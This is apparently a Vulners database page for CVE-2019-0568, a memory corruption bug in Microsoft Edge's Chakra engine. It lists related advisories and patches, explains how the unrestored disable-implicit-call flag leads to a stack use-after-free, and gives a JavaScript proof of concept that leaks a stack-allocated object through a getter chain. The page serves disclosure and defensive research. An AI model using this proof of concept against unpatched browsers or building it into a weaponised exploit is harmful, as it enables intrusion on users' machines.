| Reporter | Title | Published | Views | Family All 27 |
|---|---|---|---|---|
| CVE-2019-0568 | 9 Jan 201914:53 | – | circl | |
| Microsoft Edge Chakra Scripting Engine Remote Memory Corruption Vulnerability (CNVD-2019-00762) | 9 Jan 201900:00 | – | cnvd | |
| Microsoft Edge Chakra Scripting Engine Memory Corruption (CVE-2019-0568) | 8 Jan 201900:00 | – | checkpoint_advisories | |
| CVE-2019-0568 | 8 Jan 201921:00 | – | cve | |
| CVE-2019-0568 | 8 Jan 201921:00 | – | cvelist | |
| ChakraCore RCE Vulnerability | 13 May 202201:21 | – | github | |
| January 8, 2019—KB4480116 (OS Build 17763.253) | 8 Jan 201908:00 | – | mskb | |
| January 8, 2019—KB4480966 (OS Build 17134.523) | 8 Jan 201908:00 | – | mskb | |
| KLA11397 Multiple vulnerabilities in Microsoft Browsers | 8 Jan 201900:00 | – | kaspersky | |
| Chakra Scripting Engine Memory Corruption Vulnerability | 8 Jan 201908:00 | – | mscve |
/*
The JsBuiltInEngineInterfaceExtensionObject::InjectJsBuiltInLibraryCode method is used to execute JsBuiltIn.js which initializes some builtin objects. Because it's essentially written in JavaScript, it needs to clear the disable-implicit-call flag before calling the JavaScript code, otherwise it might not work properly. The problem is, it doesn't restore the prevous status of the flag after the call. As setting the flag can prevent stack-allocated objects from leaking, this clearing-the-flag bug can lead to a stack-based use-after-free.
To exploit this bug, it's needed to build a chain that first clears the flag by calling the vulnerable method and then leaks the stack-allocated object. This is done with the Error.prototype.toString method (marked as having no side effects) which calls the "toString" method on the "name" property and the "message" property of the "this" object. So when it accesses the "name" property, it clears the flag and leaks the "this" object when it accesses the "message" property.
PoC:
*/
function opt() {
let o = {}; // stack-allocated object
o.x; // under with DisableImplicitFlags set
}
function main() {
for (let i = 0; i < 10000; i++) {
opt();
}
let leaked_stack_object = null;
let object_prototype = ({}).__proto__;
object_prototype.__defineGetter__('x', Error.prototype.toString);
object_prototype.__defineGetter__('message', function () {
delete object_prototype.message;
leaked_stack_object = this;
});
object_prototype.name = Array.prototype; // access to Array.prototype will call JsBuiltInEngineInterfaceExtensionObject::InjectJsBuiltInLibraryCode.
opt();
alert(leaked_stack_object);
}
main();
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation